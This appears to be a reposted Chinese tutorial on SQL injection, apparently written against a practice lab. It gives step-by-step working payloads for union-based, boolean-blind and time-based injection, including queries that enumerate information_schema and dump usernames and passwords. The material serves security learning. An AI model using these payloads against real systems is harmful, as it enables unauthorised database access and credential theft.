【SQL注入】類型注入、盲注、時間注入


SQL注入流程

1.查找前端頁面與后端數據庫存在交互的地方,比如:url、搜索框、登陸點等
2.判斷注入類型
3.字段數
4.有無回顯,顯示位置
5.庫名、表名、字段名、數據

字符型注入

代碼中SQL查詢語句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

閉合字符
'
"
')
")
'))
"))

1.判斷注入類型
?id=1' and 1=1 --+


?id=1' and 1=2 --+


2.字段數
判斷存在多少字段

order by 3
group by 3

判斷三個字段時,未報錯

判斷四個字段時,報錯,說明存在三個字段

3.有無回顯,顯示位置

使用聯合查詢union查看顯示位置
?id=-1' union select 1,2,3 --+
查看id等於-1,數據庫中找不到等於-1的id值,會報錯,然后執行后面的select語句


4.查看庫名,表名
庫名:database()

表名
id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.查看列名,數據
列名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

數據:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

數字型注入

輸入單引號,將字原封不動的帶到數據庫中,叫做數字型注入,把閉合符號去掉進行注入
代碼中查詢語句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

盲注

Length()函數 返回字符串的長度
Substr()截取字符串
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

盲注不會直接顯示數據,可以根據頁面返回的變化來判斷是否存在注入
?id=1' and 1=1 --+返回You are in...........

?id=1' and 1=2 --+無返回
可以判斷,存在字符型的sql盲注,並且有回顯

判斷數據庫名稱的長度,數據庫長度等於8時,返回正確頁面

判斷庫名
截取database()數據庫名的第一個字符,判斷是否等於s,返回成功則庫名第一個字符是s

第二個字符是e

以此類推
表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+
列名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=114 --+

時間盲注

在頁面不回顯,也看不到任何區別時,可以通過瀏覽器和服務器之間的響應速度來判斷是否存在注入。
如果數據庫的長度是8位,那么就延遲5秒鍾

表名,列名以此類推


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM